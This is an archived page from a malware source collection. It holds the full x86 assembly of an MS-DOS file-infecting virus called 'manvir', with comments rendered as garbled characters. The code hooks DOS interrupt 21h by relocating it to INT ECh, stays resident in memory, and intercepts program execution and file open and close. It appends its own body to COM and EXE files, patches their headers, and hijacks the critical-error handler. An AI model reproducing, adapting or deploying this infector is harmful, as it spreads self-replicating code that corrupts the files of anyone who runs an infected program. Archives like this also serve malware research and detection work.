MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.manvir.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

529 lines
21 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PROB ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 1-Jan-80 ÛÛ
;ÛÛ Version: ÛÛ
;ÛÛ Passes: 5 Analysis Options on: ABCDEFPX ÛÛ
;ÛÛ ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0 ; (6B7E:0000=0)
data_2e equ 2 ; (6B7E:0002=0)
data_4e equ 0F1h ; (6B7E:00F1=0)
data_17e equ 499h ; (6C11:0499=0)
data_18e equ 49Bh ; (6C11:049B=0)
data_19e equ 49Dh ; (6C11:049D=0)
data_20e equ 49Fh ; (6C11:049F=0)
data_21e equ 4B8h ; (6C11:04B8=0)
;-------------------------------------------------------------- seg_a ----
seg_a segment para public
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
db 256 dup (0)
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
db 0, 4Ch, 0CDh
db '!This is a test', 0Ah, 0Dh, '$'
db 1807 dup (0)
seg_a ends
;-------------------------------------------------------------- seg_b ----
seg_b segment para public
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
db 241 dup (0)
db 4Fh, 4Dh
db 9 dup (20h)
db 0, 0, 0, 0
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Program Entry Point
;
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
prob proc far
start:
jmp short loc_3 ; (0137)
data_10 dw 5A4Dh
db 21h, 1, 6, 0, 0, 0
db 20h, 0, 0, 0, 0FFh, 0FFh
data_11 dw 0
data_12 dw 0
db 0BBh, 0DDh
data_13 dd 00100h
db 'COMMAND.COM'
db 0
prob endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near ; <20>°®¢¥°¿¢  ¤ «¨ ¥ EXE
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
je loc_ret_2 ; Jump if equal
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
loc_ret_2:
retn
sub_1 endp
loc_3:
mov cs:data_19e,ds ; (6C11:049D=0)
push ax
mov ax,0EC59h ; <20>°®¢¥°¿¢  ¤ «¨ ¥ ¨­±² «¨° ­
int 21h ; DOS Services ah=function ECh
cmp bp,ax ; €ª® AX<>BP ­¥ ¥ ¨­±² «¨° ­
jne loc_6
push cs
pop ds
loc_4:
pop ax
mov es,cs:data_19e ; (6C11:049D=0)
call sub_1 ; (COM/EXE)?
jz loc_5 ; Jump if zero
mov cx,0Dh ; ‚º§±² ­®¢¿¢  COM
mov si,102h
push es
mov di,100h
push di ; <20>°¥¬¥±²¢  ¯º°¢¨²¥ 13 ¡ ©² 
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
push es
pop ds ; <20>°¥µ®¤ ªº¬ ¯°®£° ¬ ² 
retf ; Return far
loc_5:
mov si,es ; ‚º§±² ­®¢¿¢  EXE
add si,10h
add word ptr cs:data_13+2,si; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  CS
add si,cs:data_11 ; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  SS
mov di,cs:data_12 ; ’®¢  ¥ ®²¬¥±²¢ ­¥²® ­  SP
push es
pop ds
cli ; Disable interrupts
mov ss,si
mov sp,di
sti ; Enable interrupts
jmp cs:data_13 ; <20>°¥µ®¤ ªº¬ ¯°®£° ¬ ² 
loc_6:
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov dx,bx
push es
pop ds
mov ax,25ECh ; <20>°¥¬¥±²¢  INT 21H ­  INT ECH
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,cs:data_19e ; (6C11:049D=0)
mov es,ax
dec ax
mov ds,ax
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
sub bx,65h
add ax,bx
mov es:data_2e,ax ; (6B7E:0002=0)
mov ah,4Ah ; 'J'
int 0ECh
mov bx,64h
mov ah,48h ; 'H'
int 0ECh
sub ax,10h
mov es,ax
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
push cs
pop ds
mov si,100h
mov di,si
mov cx,39Fh
nop ; <20>°¥¬¥±²¢  ±¥ ¢º¢ ¢¨±®ª¨²¥  ¤°¥±¨
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov di,1D0h
push es
push di
retf ; Return far
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
mov ax,3521h ;(??) ’ §¨ ¨­±²°³ª¶¨¿ ¬®¦¥ ¤  ±¥ ®¯²¨¬¨§¨° 
int 0ECh
mov cs:data_15,bx ; (6C11:0216=12E4h)
mov cs:data_16,es ; (6C11:0218=12Eh)
mov ah,25h ; '%'
mov dx,201h
push cs
pop ds
int 0ECh ; <20>°¥µ¢ ¹  ¢¥ª²®°  ­  INT 21H
push cs
pop es
mov di,49Fh
mov cx,19h
mov al,0 ; <20>³«¨°  19h ¡ ©²  ±«¥¤ ª° ¿
rep stosb ; Rep when cx >0 Store al to es:[di]
jmp loc_4 ; ‚º§±² ­®¢¿¢  ¯°®£° ¬ ² 
loc_7:
mov bp,ax ; ’®¢  ¥ ´³­ª¶¨¿ ECH
iret ; Interrupt return
cmp ax,0EC59h ; •Ž„<C5BD>€ ’Ž—Š€ <20>€ INT 21H
je loc_7 ; Jump if equal
cmp ax,4B00h
je loc_9 ; Jump if equal
cmp ah,3Dh ; '='
je loc_11 ; Jump if equal
cmp ah,3Eh ; '>'
je loc_13 ; Jump if equal
loc_8:
jmp far ptr loc_1 ;*(012E:12E4)
loc_9:
call sub_2 ; (028B)
jmp short loc_8 ; (0215)
loc_10:
pop cx
jmp short loc_8 ; (0215)
loc_11:
push cx
call sub_6 ; (040E)
jc loc_10 ; Jump if carry Set
cmp cx,20h
pop cx
jnz loc_8 ; Jump if not zero
mov al,2
pushf ; Push flags
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
jc loc_ret_12 ; Jump if carry Set
push ax
push bx
mov bx,ax
mov al,cs:data_21e ; (6C11:04B8=0)
mov cs:data_20e[bx],al ; (6C11:049F=0)
pop bx
pop ax
loc_ret_12:
retf 2 ; Return far
loc_13:
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
je loc_8 ; Jump if equal
push ax
mov al,cs:data_20e[bx] ; (6C11:049F=0)
mov cs:data_21e,al ; (6C11:04B8=0)
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
mov ah,45h ; 'E'
int 0ECh
mov cs:data_19e,ax ; (6C11:049D=0)
pop ax
jc loc_8 ; Jump if carry Set
pushf ; Push flags
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
jc loc_ret_12 ; Jump if carry Set
push bx
mov bx,cs:data_19e ; (6C11:049D=0)
push ds
call sub_3 ; (02BB)
call sub_4 ; (02DC)
call sub_5 ; (03FA)
pop ds
pop bx
clc ; Clear carry flag
retf 2 ; Return far
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
push ax
push bx
push cx
call sub_6 ; (040E)
jc loc_16 ; €ª® ­¥ ¥ ¨§¯º«­¨¬ ¨§µ®¤
push cx
push ds
call sub_3 ; <20>°¥­ ±®·¢  INT 24H
pop ds
mov ax,4301h
xor cx,cx ; Zero register
int 0ECh ; <20>°®¬¥­¿  ²°¨¡³²¨²¥
jc loc_14 ; Jump if carry Set
mov ax,3D02h ; Ž²¢ °¿ £® §  ·¥²¥­¥
int 0ECh
mov bx,ax
loc_14:
pop cx
jc loc_15 ; €ª® ¨¬  £°¥¸ª  ¨§µ®¤
call sub_4 ; (02DC)
mov ax,4301h
int 0ECh
loc_15:
call sub_5 ; (03FA)
loc_16:
pop cx
pop bx
pop ax
retn
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near ; <20>°¥­ ±®·¢  INT 24H
push ax
push dx
push bx
push es
mov ax,3524h
int 0ECh
mov cs:data_17e,bx ; (6C11:0499=0)
mov cs:data_18e,es ; (6C11:049B=0)
pop es
pop bx
push cs
pop ds
mov dx,469h
mov ah,25h
int 0ECh ; <20>°¥­ ±®·¢  INT 24H
pop dx
pop ax
retn
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
push ax
push cx
push dx
push si
push di
push ds
mov di,102h
mov cx,0FFFFh
mov dx,0FFFAh
mov ax,4202h
int 0ECh ; <20>°¥¬¥±²¢  ³ª § ²¥«¿ ¢ ª° ¿
mov ah,3Fh ; '?'
mov cx,6
push cs
pop ds
mov dx,di
int 0ECh ; —¥²¥ 6 ¡ ©² 
jc loc_17 ; Jump if carry Set
cmp word ptr cs:[di],4E41h ; <20>°®¢¥°¿¢  ¤ «¨ ¥ § ° §¥­
je loc_17 ; Jump if equal
xor cx,cx
xor dx,dx
mov ax,4200h
int 0ECh ; <20>°¥¬¥±²¢  FP ¢ ­ · «®²®
mov ah,3Fh ; <20>®¬¥±²¥¢  ¯º°¢¨²¥ 18h ¡ ©² 
mov cx,18h ; ®² CS:100
mov dx,di
int 0ECh ; —¥²¥ ¯º°¢¨²¥ 18h ¡ ©² 
jnc loc_18 ; Jump if carry=0
loc_17:
jmp loc_27 ; (03E6)
loc_18:
xor cx,cx ; Zero register
xor dx,dx ; Zero register
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
jne loc_19 ; Jump if not equal
cmp word ptr [di+1],4000h
ja loc_17 ; Jump if above
dec cx
mov dx,0C0h
sub dx,499h
loc_19:
mov ax,4202h ; <20>°¥¬¥±²¢  FP ¢ ª° ¿ ­  ´ ¨« 
loc_20:
int 0ECh
test ax,0Fh
jz loc_21 ; Jump if zero
mov cx,dx ; ‡ ª°º£«¿ ¤® 16
mov dx,ax
add dx,10h
adc cx,0
and dl,0F0h
mov ax,4200h ; <20>°¥¬¥±²¢  ­  § ª°º£«¥­¨¿
jmp short loc_20 ; (0339)
loc_21:
call sub_1 ; (0126)
jz loc_23 ; ” ¨«º² ¥ EXE
or dx,dx ; Zero ?
jnz loc_17 ; Jump if not zero
cmp ax,400h
jae loc_22 ; Jump if above or =
jmp loc_27 ; (03E6)
loc_22:
cmp ax,0FA00h
ja loc_27 ; Jump if above
loc_23:
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov si,ax
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
add si,dx ; <20>®«³· ¢  ¤º«¦¨­ ²  ¢ ¯ ° £° ´¨
mov ah,40h ; ‡ ¯¨±¢  399h ¡ ©² 
mov dx,100h
mov cx,399h
nop
int 0ECh
jc loc_27 ; Jump if carry Set
call sub_1
jnz loc_25 ; Jump if not zero
sub si,10h
sub si,cs:[di+8] ; Š®°¨£¨°  ¯°¥´¨ª± 
mov word ptr cs:[di+14h],100h
mov cs:[di+16h],si
mov word ptr cs:[di+10h],400h
add si,44h
nop
mov cs:[di+0Eh],si
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 0ECh ; ‚§¥¬  ¤º«¦¨­ ² 
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
or dx,dx ; Zero ?
jz loc_24 ; Jump if zero
inc ax
loc_24:
mov cs:[di+2],dx ;<3B>°®¬¥­¿ ¤º«¦¨­ ²  ¢ ¯°¥´¨ª± 
mov cs:[di+4],ax
jmp short loc_26 ; (03D4)
loc_25:
push si
push di
push es
push cs
pop es
mov si,46Ch
mov cx,0Bh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop es
pop di
pop word ptr [di+0Bh]
loc_26:
mov ax,4200h ; <20>°¥¬¥±²¢  FP ¢ ­ · «®²®
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 0ECh
mov ah,40h ; ‡ ¯¨±¢  ¯º°¢¨²¥ 16h ¡ ©² 
mov cx,18h
mov dx,di
int 0ECh
loc_27: ; ‚§¥¬  ¤ ² ²  ¬³ ¨ ¿ § ¯¨±¢ 
mov ax,5700h
int 0ECh
mov al,1
int 0ECh
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨« 
int 0ECh
pop ds
pop di
pop si
pop dx
pop cx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near ; ‚º§±² ­®¢¿¢  INT 24H
push ax
push dx
push ds
mov ax,2524h
mov dx,cs:data_17e ; (6C11:0499=0)
mov ds,cs:data_18e ; (6C11:049B=0)
pop ds
pop dx
pop ax
retn
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near ; ‡ ¯ §¢  °¥£¨±²°¨²¥
push ax
push es
push di
push bx
mov di,dx
push ds
pop es
mov al,0
mov cx,40h ; ’º°±¨ ª° ¿² ­  ¨¬¥²® ­  ´ ¨« 
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov ax,[di-3]
mov cx,[di-5]
and ax,5F5Fh
and ch,5Fh
cmp ax,4D4Fh ;(COM)?
jne loc_29
cmp cx,432Eh
je $+10h ; Jump if equal
loc_28:
stc ; Set carry flag
jmp short $+2Fh
loc_29:
cmp ax,4558h
jne loc_28 ; Jump if not equal
cmp cx,452Eh
sub_6 endp
seg_b ends
;--------------------------------------------------------- stack_seg_c ---
stack_seg_c segment para stack
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
db 6, 0Bh, 1, 58h, 0EAh, 0
db 1
db ' Dark Lord, I summon thee!'
db 0
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
db 52h
db 935 dup (0)
stack_seg_c ends
end start